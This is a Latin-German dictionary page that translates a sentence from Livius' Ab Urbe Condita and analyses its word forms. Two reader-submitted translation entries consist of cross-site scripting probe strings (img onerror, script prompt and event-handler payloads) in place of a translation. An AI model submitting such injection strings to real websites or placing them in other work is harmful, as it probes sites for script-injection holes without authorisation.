Wörterbuch für Latein-Deutsch und Deutsch-Latein

Übersetzungen  ›  Livius  ›  Ab Urbe Condita (XXXVII) (12)  ›  583

Agent enim causam ciuitatium graecarum, et liberari eas dicent debere.

‹ Vorherige Textstelle  oder  Nächste Textstelle ›

Übersetzungen auf Latein.me

von "><img src=x onerror=alert(document.domain)> am 05.04.2019
xss"><script>prompt(/XSS/)</script> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt&gt”/> <h1/style="color:blue"%20onlick=[document.domain].find(alert)>ismailtasdelen<h1> Alert(SendPayloadsClicKHere) //<form/acti

von "><img src=x onerror=alert(document.domain)> am 05.04.2019
xss"><script>prompt(/XSS/)</script> ”/>&_lt;_script>alert(1)&_lt;/scr_ipt&gt”/> <h1/style="color:blue"%20onlick=[document.domain].find(alert)>ismailtasdelen<h1> Alert(SendPayloadsClicKHere) //<form/acti

Analyse der Wortformen

Agent
agere: tun, machen, verbringen, ausführen, treiben, verhandeln, handeln, betreiben
causam
causa: Ursache, Grund, Sachverhalt, Rechtsangelegenheit, wegen (mit Genitiv)
ciuitatium
civitas: Bürgerschaft, Staat, Gemeinde, Volk, Gesamtheit der Bürger, Bürgerrecht
graecarum
graecus: griechisch
debere
debere: müssen, sollen, schulden, verdanken
dicent
dicare: segnen, weihen, widmen
dicere: sprechen, sagen, nennen, ernennen, behaupten
eas
eare: gehen, marschieren
enim
enim: nämlich, denn
et
et: und, auch, und auch
eas
idem: derselbe, dieselbe, dasselbe
ire: laufen, gehen, schreiten
is: derjenige, er, dieser, diese, dieses, sie, es, diejenige, das
liberari
liberare: befreien, erlösen, freilassen

Ähnliche Textstellen

Latein auf Android

Wortschatz · Textstellen · App · Datenschutz · Impressum